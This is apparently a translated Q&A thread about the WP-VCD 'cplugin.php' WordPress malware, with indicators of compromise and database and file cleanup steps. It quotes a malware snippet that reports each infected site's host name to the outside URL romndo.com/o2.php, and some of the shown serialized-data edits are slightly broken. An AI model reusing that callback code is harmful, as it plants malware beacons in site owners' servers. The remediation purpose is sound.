由于 cplugin.php 文件恶意软件,wordpress 网站出现 500 错误和中断

wordpress website 500 error and outages due to cplugin.php file malware

最近发生了一次攻击,由于文件 cplugin.php 是恶意软件,许多 wordpress 网站被关闭。

该恶意软件是错误的代码,因此目前它主要导致 500 服务器运行时错误。但最好立即删除它,因为它会迁移到服务器上的所有多个网站,并且有代码可以攻击恶意软件 url 以下载其他文件。恶意软件代码片段:

if(get_option('log_install') !=='1')
{
    if(!$log_installed = @file_get_contents("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
    $log_installed = @file_get_contents_cplugin("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}

我已经找到解决方案并自己发布答案以帮助所有用户。

编辑:

有报告称同一文件的用户名称不同:ccode.php, cplugin.phphelad.php 在这种情况下可以修改修复程序。

这似乎是某种全球性攻击。插件文件夹中有一个文件 cplugin.php 导致站点下降。删除文件没有用,因为它 re-appears。它还会感染多网站服务器上的所有其他网站。幸运的是,经过几个小时的工作已经找到了解决办法。请仔细阅读以修复您的网站:

  1. 备份您的数据库和文件

  2. 编辑你的 wp_options table,找到 属性 active_plugins 并编辑它,你会看到它有一个插件条目 cplugin.php。我们必须删除它。您的初始数据将如下所示:

a:16:{i:0;s:27:"carousel-anything/index.php";i:1;s:36:"contact-form-7/wp-contact-form-7.php";i:2;s:11:"cplugin.php";i:3;s:32:"duplicate-page/duplicatepage.php";i:4;s:31:"envato-market/envato-market.php"....

编辑此项以删除 cplugin.php 条目,从 i 开始到下一个 ; 并将其删除。 (确保你备份了数据库,以防你犯了一些错误)。没有 cplugin.php 的新条目将如下所示:

a:16:{i:0;s:27:"carousel-anything/index.php";i:1;s:36:"contact-form-7/wp-contact-form-7.php";i:2;i:3;s:32:"duplicate-page/duplicatepage.php";i:4;s:31:"envato-market/envato-market.php"....

  1. 对 wp_option table 中名为 site_transient_update_plugins
  2. 的字段执行类似的步骤

之前:O:8:"stdClass":5:{s:12:"last_checked";i:1598414385;s:7:"checked";a:16:{s:27:"carousel-anything/index.php";s:3:"2.0";s:36:"contact-form-7/wp-contact-form-7.php";s:3:"5.2";s:11:"cplugin.php";s:3:"1.0";s:32:"duplicate-page/duplicatepage.php";.....

之后:O:8:"stdClass":5:{s:12:"last_checked";i:1598414385;s:7:"checked";a:16:{s:27:"carousel-anything/index.php";s:3:"2.0";s:36:"contact-form-7/wp-contact-form-7.php";s:3:"5.2";s:32:"duplicate-page/duplicatepage.php";.....

  1. 更新字段后,导航回主插件文件夹 /wp-content/plugins 并删除文件 cplugin.php

  2. 登录到您的 wordpress 控制面板并重新激活所有插件

瞧,你已经修复了你的网站。

我认为造成这种情况的技术原因是恶意软件将自己注册为 wordpress 插件,删除后会自动替换文件。幸运的是,该恶意软件的代码编写得很糟糕,所以它主要抛出 500 error 而不是 运行。但无论如何我建议立即删除它以防它更新。

编辑: 根据这个 topic 上的 wordpress 论坛帖子,对于一些用户来说,只需重命名文件也可以使网站正常工作,这可能是因为在 wordpress 中重命名文件会停用插件,网站因此开始工作。但无论如何我都不会将受感染的文件重命名和存储,因此至少在获得对站点的访问权限后推荐第一个解决方案。

我们网站上的数据库中没有条目,但调用代码已添加到 wp-includes 文件夹中 functions.php 的底部。删除有问题的电话,网站就会弹出。 :)

在 wp-content 文件夹中文件名为 cplugin.phphelad.php 在这种情况下fix 可以修改。立即删除它,因为它会迁移到服务器上的所有多个网站,并且具有攻击恶意软件的代码 URL 以下载其他文件。

这不是攻击,而是您自己下载并安装的无效插件或主题中包含的恶意软件。它是 WP-VCD 的更新版本 - WordFence 在 WP-VCD: The Malware You Installed On Your Own Site 中有一份包含所有详细信息的白皮书,也许我们应该称它为“WP-VCD Reloaded”:)

妥协指标是 wp-content/plugins 中名为 ccode.phpcplugin.phphelad.phpmplugin.php(和 admin_ips.txt)的插件文件和带有文件 class.plugin-modules.phpclass.theme-modules.php 的插件/主题在它们的文件夹中。

清理中

  1. class.plugin-modules.phpclass.theme-modules.php中找到带有恶意软件的插件或主题并删除该插件或主题(如果需要,请从官方来源购买)。
  2. 删除恶意软件插件:ccode.phpcplugin.phphelad.phpmplugin.php
  3. 对同一托管帐户/服务器下的所有站点重复此操作。

安装过程似乎确实触及 wp-includes/functions.php,但它仅尝试删除恶意软件,因此这可能是从以前的恶意软件版本升级的一部分。

您使用的主题或插件为空。

分 3 步解决此问题的另一种方法:

  1. 删除 wp_option 中由恶意插件根据此请求创建的所有条目:

DELETE FROM wp_options WHERE option_name='ip_admin' OR option_name="ad_code" OR option_name="cookies_admin" OR option_name="logged_admin" OR option_name="logged_admin" OR option_name="hide_admin" OR option_name="hide_logged_in" OR option_name="display_ad" OR option_name="search_engines" OR option_name="auto_update" OR option_name="log_install"

  1. 识别在/wp-content/plugins目录中创建的wild插件文件(ls -lrtha on linux OS), 将其删除并创建一个具有相同名称的符号 link 到 /dev/null,有了这个,文件从未被正确创建后。执行此操作的命令行(在 linux 上):

    ln -s /dev/null mplugin.php

  2. 可选,但只是为了避免错误日志中出现任何噪音,请从 wp_option 中删除 nameplugin.php s table 其中 option_name = _site_transient_update_plugins.